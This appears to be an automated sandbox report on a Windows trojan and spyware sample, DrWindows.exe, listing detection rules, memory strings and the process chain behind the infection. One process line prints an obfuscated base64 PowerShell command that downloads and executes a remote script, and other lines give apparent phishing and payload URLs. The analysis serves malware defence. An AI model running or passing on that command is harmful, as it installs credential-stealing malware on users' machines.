Code function: 23_2_024507A7 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,CreateThread,

23_2_024507A7

Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_024507A7	23_2_024507A7
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0240049D	23_2_0240049D
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0241F24F	23_2_0241F24F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0243926F	23_2_0243926F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0240727F	23_2_0240727F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0240522F	23_2_0240522F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0240C2CF	23_2_0240C2CF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0240A2FF	23_2_0240A2FF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0240E3C3	23_2_0240E3C3
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0242D3FC	23_2_0242D3FC
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_024163AF	23_2_024163AF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0241D3B7	23_2_0241D3B7
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0242E046	23_2_0242E046
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0241E05E	23_2_0241E05E
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0244D077	23_2_0244D077
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02400000	23_2_02400000
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0241703F	23_2_0241703F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0242D0D2	23_2_0242D0D2
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02422086	23_2_02422086
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0240A15F	23_2_0240A15F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0240B11F	23_2_0240B11F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0243F65F	23_2_0243F65F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0241C76F	23_2_0241C76F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_024077CF	23_2_024077CF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0241F7AF	23_2_0241F7AF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0241E4C9	23_2_0241E4C9
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0243B4FF	23_2_0243B4FF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0241348A	23_2_0241348A
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0244D4AF	23_2_0244D4AF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0241B57F	23_2_0241B57F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0240650F	23_2_0240650F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0241F58F	23_2_0241F58F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0241A5A0	23_2_0241A5A0
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_024385AF	23_2_024385AF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_024365BC	23_2_024365BC
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0242BA6F	23_2_0242BA6F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02427ADF	23_2_02427ADF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02407B6F	23_2_02407B6F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02431B3F	23_2_02431B3F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02423BDF	23_2_02423BDF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02405BDF	23_2_02405BDF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0242A8CC	23_2_0242A8CC
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_024268E5	23_2_024268E5
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_024278EC	23_2_024278EC
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_024388FF	23_2_024388FF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0242089F	23_2_0242089F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0242D942	23_2_0242D942
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02412945	23_2_02412945
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0242D949	23_2_0242D949
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0241A919	23_2_0241A919
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0243F91F	23_2_0243F91F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0240A9DF	23_2_0240A9DF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0242E9F4	23_2_0242E9F4
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0243B99F	23_2_0243B99F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02417EDD	23_2_02417EDD
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0244DF4F	23_2_0244DF4F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02422F5F	23_2_02422F5F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02426FDF	23_2_02426FDF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02413FDF	23_2_02413FDF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02437FFF	23_2_02437FFF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0243FFFF	23_2_0243FFFF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02407FFF	23_2_02407FFF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0240FC18	23_2_0240FC18
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0243FC2F	23_2_0243FC2F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0242AC3F	23_2_0242AC3F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0240ACCF	23_2_0240ACCF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0244CCA7	23_2_0244CCA7
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02436CA9	23_2_02436CA9
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0241DD7B	23_2_0241DD7B
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02408DDF	23_2_02408DDF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0241ED8F	23_2_0241ED8F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02437D9F	23_2_02437D9F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0244BDB3	23_2_0244BDB3
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0240EDBB	23_2_0240EDBB

Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: String function: 0241639F appears 76 times
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: String function: 0240996F appears 69 times

Source: DrWindows.exe.12.dr	Static PE information: Resource name: DLLDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: DrWindows.exe.12.dr	Static PE information: Resource name: DLLDATA type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Source: DrWindows.exe.12.dr	Static PE information: Resource name: DLLDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: amsi64_7580.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: DrWindows.exe.12.dr	Binary string: \Device\Harddisk%d\Partition0
Source: DrWindows.exe.12.dr	Binary string: \device\harddisk
Source: DrWindows.exe.12.dr	Binary string: \Device\MountPointManagerIdentifier

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.win@20/27@9/8

Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

Code function: 23_2_02400BAD CreateToolhelp32Snapshot,Thread32First,Wow64SuspendThread,CloseHandle,

23_2_02400BAD

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7588:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gk32vbw3.tka.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: DrWindows.exe.12.dr	Binary or memory string: SELECT count(d.ImageID), sum(d.Size) FROM Datas d, Images i WHERE d.ImageID=i.ImageID AND i.FolderID='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT * FROM t3 WHERE if='%d' AND ic='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: CREATE TABLE Datas(ImageID INTEGER PRIMARY KEY, Size INTEGER, Data BLOB);
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO t1 (f, pi, ci, ni) VALUES('%s', '-1', '2', '10');
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO t4 VALUES(%d, %d);## DB addTaggedFilename ok : %d
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT Folders.Pathname, Images.Filename FROM Images, Folders WHERE Color='%d' AND Folders.FolderID=Images.FolderID ORDER BY Folders.Pathname;
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO Images (FolderID, Filename, Size, ModifiedDate, Rating, Color) VALUES('%d', '%s', '%d', '%s', '%d', '%d');
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT i FROM t2 WHERE f='%s';
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT * FROM t4 WHERE if='%d' AND ic='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT f FROM t2 INNER JOIN t3 ON t2.i = t3.if WHERE ic='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: UPDATE Images SET Filename='%s' WHERE ImageID='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT * FROM Folders;
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO DBInfo (Version) VALUES('%s');
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT i, f, pi, ci, ni FROM t1 WHERE pi='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: CREATE TABLE t1(i INTEGER PRIMARY KEY, f CHAR(64), pi INTEGER, ci INTEGER, ni INTEGER);
Source: DrWindows.exe.12.dr	Binary or memory string: CREATE TABLE DBInfo(Version VARCHAR(16));
Source: DrWindows.exe.12.dr	Binary or memory string: CREATE TABLE t4(if INTEGER, ic INTEGER);
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT ic FROM t3 INNER JOIN t2 ON t3.if = t2.i WHERE f='%s';
Source: DrWindows.exe.12.dr	Binary or memory string: CREATE TABLE Folders(FolderID INTEGER PRIMARY KEY AUTOINCREMENT, Pathname TEXT NOT NULL UNIQUE);
Source: DrWindows.exe.12.dr	Binary or memory string: UPDATE Images SET Size='%d', ModifiedDate='%s' where ImageID = '%d';
Source: DrWindows.exe.12.dr	Binary or memory string: UPDATE t1 SET ci='%d' WHERE i='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: UPDATE t1 SET f='%s' WHERE f='%s' AND i='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO Folders ([Pathname]) VALUES('%s');
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT * FROM Folders ORDER BY Pathname;
Source: DrWindows.exe.12.dr	Binary or memory string: UPDATE t1 SET ci='%d' WHERE f='%s' AND i='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT COUNT( * ) FROM t4;
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT f FROM t2 INNER JOIN t4 ON t2.i = t4.if WHERE ic='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO t1 (f, pi, ci, ni) VALUES('%s', '%d', '%d', '%d');
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT f FROM t2 INNER JOIN t3 ON t2.i = t3.if WHERE ic='%d';SELECT f FROM t2;); SELECT DISTINCT f FROM t2 INNER JOIN t3 ON t2.i = t3.if WHERE ic IN (SELECT i FROM t2 WHERE f='%s';INSERT INTO t2 ([f]) VALUES('%s');SELECT * FROM t3 WHERE if='%d' AND ic='%d';INSERT INTO t3 VALUES(%d, %d);error
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT i FROM t1 WHERE pi='%d' AND ci='-1';
Source: DrWindows.exe.12.dr	Binary or memory string: UPDATE Images SET Rating='%d', Color='%d' WHERE ImageID='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT i FROM t1 WHERE f='%s' AND pi='%d' AND ci='%d' AND ni='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT ImageID FROM Images WHERE Filename='%s' AND FolderID='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: UPDATE Datas SET Size='%d', Data='%s' where ImageID = '%d';
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT FolderID FROM Folders WHERE Pathname='%s';
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO t1 (f, pi, ci, ni) VALUES('%s', '1', '-1', '%d');
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT * FROM t4 WHERE if='%d' AND ic='%d';## DB addTaggedFilename 4 : %d
Source: DrWindows.exe.12.dr	Binary or memory string: UPDATE t2 SET f="%s" WHERE f="%s";
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO Images (FolderID, Filename, Size, ModifiedDate, Color) VALUES('%d', '%s', '%d', '%s', '%d');
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO t0 (v) VALUES('%s');
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT ImageID FROM Datas WHERE ImageID='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO Images (FolderID, Filename, Size, ModifiedDate) VALUES('%d', '%s', '%d', '%s');
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO t2 ([f]) VALUES('%s');
Source: DrWindows.exe.12.dr	Binary or memory string: UPDATE Images SET Color='%d' WHERE ImageID='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT ImageID, Size, ModifiedDate, Rating, Color FROM Images WHERE Filename='%s' AND FolderID='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: CREATE TABLE t3(if INTEGER, ic INTEGER);
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT i FROM t1 WHERE f='%s' AND pi='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: CREATE TABLE Images(ImageID INTEGER PRIMARY KEY AUTOINCREMENT, FolderID INTEGER NOT NULL, Filename TEXT NOT NULL, Size INTEGER, ModifiedDate DATE, ts INTEGER, Rating INTEGER DEFAULT 0, Color INTEGER DEFAULT 0);
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO t4 VALUES(%d, %d);
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT Version FROM DBInfo;
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT ImageID FROM Images WHERE FolderID=(SELECT FolderID FROM Folders WHERE Pathname='%s') AND Filename='%s';
Source: DrWindows.exe.12.dr	Binary or memory string: UPDATE Images SET Rating='%d' WHERE ImageID='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO Images (FolderID, Filename, Size, ModifiedDate, Rating) VALUES('%d', '%s', '%d', '%s', '%d');
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT v FROM t0;
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT if, ic FROM t3 INNER JOIN t2 ON t3.if = t2.i WHERE f IN (%s);
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT Data FROM Datas WHERE ImageID='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT f FROM t2;
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO t1 (f, pi, ci, ni) VALUES('%s', '-1', '-1', '%d');
Source: DrWindows.exe.12.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT ic FROM t4 INNER JOIN t2 ON t4.if = t2.i WHERE f='%s';
Source: DrWindows.exe.12.dr	Binary or memory string: CREATE TABLE t0(v VARCHAR(16));
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO t3 VALUES(%d, %d);
Source: DrWindows.exe.12.dr	Binary or memory string: CREATE TABLE t2(i INTEGER PRIMARY KEY, f CHAR(256) UNIQUE);
Source: DrWindows.exe.12.dr	Binary or memory string: INSERT INTO Datas (ImageID, Size, Data) VALUES('%d', '%d', '%s');
Source: DrWindows.exe, 00000017.00000003.1958693128.0000000003881000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.2005817068.000000000383D000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.1955565312.00000000038B4000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.2000672519.000000000387C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT Folders.Pathname, Images.Filename FROM Images, Folders WHERE Rating='%d' AND Folders.FolderID=Images.FolderID ORDER BY Folders.Pathname;
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT ImageID, Filename FROM Images WHERE FolderID='%d';
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT ImageID, Size, ModifiedDate, Rating, Color FROM Images WHERE FolderID='%d' AND Filename='%s';
Source: DrWindows.exe.12.dr	Binary or memory string: SELECT Folders.Pathname, Images.Filename, Images.Size, Images.ModifiedDate FROM Images, Folders WHERE Folders.FolderID=Images.FolderID;

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=1964,i,13921520401259098976,9697674762197469750,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYXNnYnVja2V0Lm9zcy1hcC1zb3V0aGVhc3QtMy5hbGl5dW5jcy5jb20vY2xhc3MvaW5pdGlhdGUvSmlkVzNtRTcudHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) \| iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe "C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=1964,i,13921520401259098976,9697674762197469750,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe "C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
